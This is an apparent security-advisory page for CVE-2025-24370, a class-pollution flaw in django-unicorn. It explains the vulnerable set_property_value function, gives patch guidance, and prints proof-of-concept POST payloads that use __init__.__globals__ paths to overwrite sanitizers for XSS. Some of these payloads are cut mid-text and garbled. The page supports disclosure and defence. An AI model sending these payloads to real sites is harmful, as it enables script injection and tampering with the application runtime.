KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 17:26 UTC

Back to the wire
Permalink
VulnerabilityCVE-2025-24370

Django-Unicorn Class Pollution Vulnerability, Leading to XSS, DoS and Authentication Bypass

Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html).

At a glance

Exploited
Not known
Severity
9.3 Critical (CVSS 4.0)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: django-unicorn: 0.62.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-g9wf-5777-gq43 (opens a new tab)

What happened

# Summary

Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The vulnerability arises from the core functionality `set_property_value`, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.

At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.

# Analysis of Vulnerable Function

Continue reading

By taking a look at the vulnerable function `set_property_value` located at: `django_unicorn/views/action_parsers/utils.py`. You can observe the functionality is responsible for modifying a property value of an object.

The property is specified by a dotted form of path at the second parameter `property_name`, where nested reference to object is supported, and base object and the assigned value is given by the first parameter `component` and third parameter `property_value`.

```python # https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10 def set_property_value( component, property_name, property_value ) -> None: ... property_name_parts = property_name.split(".") component_or_field = component ...

for idx, property_name_part in enumerate(property_name_parts): if hasattr(component_or_field, property_name_part): if idx == len(property_name_parts) - 1: ... setattr(component_or_field, property_name_part, property_value) ... else: component_or_field = getattr(component_or_field, property_name_part) ...

elif isinstance(component_or_field, dict): if idx == len(property_name_parts) - 1: component_or_field[property_name_part] = property_value ... else: component_or_field = component_or_field[property_name_part] ... elif isinstance(component_or_field, (QuerySet, list)): property_name_part_int = int(property_name_part)

if idx == len(property_name_parts) - 1: component_or_field[property_name_part_int] = property_value # type: ignore[index] ... else: component_or_field = component_or_field[property_name_part_int] # type: ignore[index] ... else: break ```

Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as `syncInput` and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.

```json POST /unicorn/message/COMPONENT_NAME

{ "id": 123, "actionQueue":[ { "type": "syncInput", "payload": { "name": "DOTTED_PATH", "value":"ASSIGNED_VALUE" } } ], "data": {XXX}, "epoch": "123", "checksum": "XXXX" } ```

You are now aware of that users from the remote can fully control the `property_name` and `property_value` of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.

However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the **magic attributes**. For example, if the `property_name` was set to `__init__.

__globals__`, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.

With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.

The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed `django-unicorn.com` as demo website to showcase its large-scale impact.

> Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.

# Proof of Concept

## #1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer

Django-Unicorn implants the `EntitySubstitution` rule from beautifulsoup4 library into its [HTML formatter](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/components/unicorn_template_response.py#L125), formatting all the template response messages.

![image-20250121163510422](https://api.2h0ng.wiki:443/noteimages/2025/01/21/16-35-11-a1aa5cfa196383e3a26636eb80bd85f0.png)

While [this rule](https://github.com/akalongman/python-beautifulsoup/blob/master/bs4/dammit.py#L79) is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.

```http POST /unicorn/message/todo HTTP/1.1

{ "id": 123, "actionQueue": [ { "type": "syncInput", "payload": { "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY. " } } ], "data": { "task": "", "tasks": [] }, "epoch": "123", "checksum": "XXX" } ```

In this demonstration, replaced the sanitizer's ` " ] } }, { "type": "syncInput", "payload": { "name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME", "value": " " } }, { "type": "syncInput", "payload": { "name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes", "value": {} } } ], "epoch": 1737318956605, "hash": "jWGuTFzy" } ```

![json_unicode_xss](https://api.2h0ng.wiki:443/noteimages/2025/01/21/1

Affected package ranges reported by GitHub: django-unicorn: < 0.62.0

Scores and how they were measured

CVSS base severity

9.3

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-g9wf-5777-gq43 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-g9wf-5777-gq43, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). Django-Unicorn Class Pollution Vulnerability, Leading to XSS, DoS and Authentication Bypass (CVE-2025-24370). https://kevwire.com/record/CVE-2025-24370

MLA

"Django-Unicorn Class Pollution Vulnerability, Leading to XSS, DoS and Authentication Bypass (CVE-2025-24370)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2025-24370.

Chicago

KEVWire. "Django-Unicorn Class Pollution Vulnerability, Leading to XSS, DoS and Authentication Bypass (CVE-2025-24370)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2025-24370.

Evidence summary (plain text)

Django-Unicorn Class Pollution Vulnerability, Leading to XSS, DoS and Authentication Bypass (Feb 3, 2025).
Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The vulnerability arises from the core functionality `set_property_value`, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status. 

At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.
CVSS 9.3 (version 4.0; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-g9wf-5777-gq43).
Sources:
GitHub-reviewed advisory GHSA-g9wf-5777-gq43: https://github.com/advisories/GHSA-g9wf-5777-gq43
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2025-24370.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 17:25 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail